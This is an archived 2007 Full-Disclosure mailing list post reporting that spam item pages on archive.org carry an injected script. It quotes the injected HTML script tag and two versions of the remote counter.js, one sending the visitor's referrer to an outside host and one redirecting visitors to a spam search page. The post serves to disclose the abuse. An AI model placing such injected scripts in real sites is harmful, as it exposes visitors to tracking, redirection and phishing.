full-disclosure - www.archive.org <--- XSS (and under attack)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <be950f350709250128u672a077bobe0a2255a7a64f1e@mail.gmail.com>
Date: Tue, 25 Sep 2007 04:28:29 -0400
From: wac <waldoalvarez00@...il.com>
To: full-disclosure@...ts.grok.org.uk
Cc: vulnwatch@...nwatch.org
Subject: www.archive.org <--- XSS (and under attack)

Hello:

I could take a while to investigate this more but I have no
time ATM (veeery busy) and the website is under attack. (should be a
matter to try that script on some form. Get a virtual pass for the library,
digg in the book publishing forms and report back)

Try this links:
http://www.archive.org/details/BuyPhentermineOnline_979
http://www.archive.org/details/BuyPhentermine.noPrescriptionBestPriceFreeDelivery

Parts of the HTML follows to help spot the hole

...

<a href="/search.php?query=subject:%22 free delivery%22"> free
delivery</a></p></div><p xmlns:fo="http://www.w3.org/1999/XSL/Format"
class="content" style="text-align:left;"><script language="javascript" src="
http://rico05.com/counter/counter.js?id=950&key=buy+phentermine"></script>

...

/--------- counter.js (called directly) ---------/

var ref = escape(document.referrer);
document.write('\<script  language=\"javascript\" src=\"
http://rico05.com/counter/counter.js?ref=' + ref + '\"\>\<\/script\>');

 /----- EOF -----/

/--------- counter.js (with referer forged) ---------/

document.location = 'http://rico05.com/search/?said=951&q=buy phentermine';

/----- EOF -----/

And that's it. A lot of money spamming users.
Who is said=951? Ask rico05.com if they are not a bunch of phishers should
tell you.

Regards
Waldo Alvarez

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/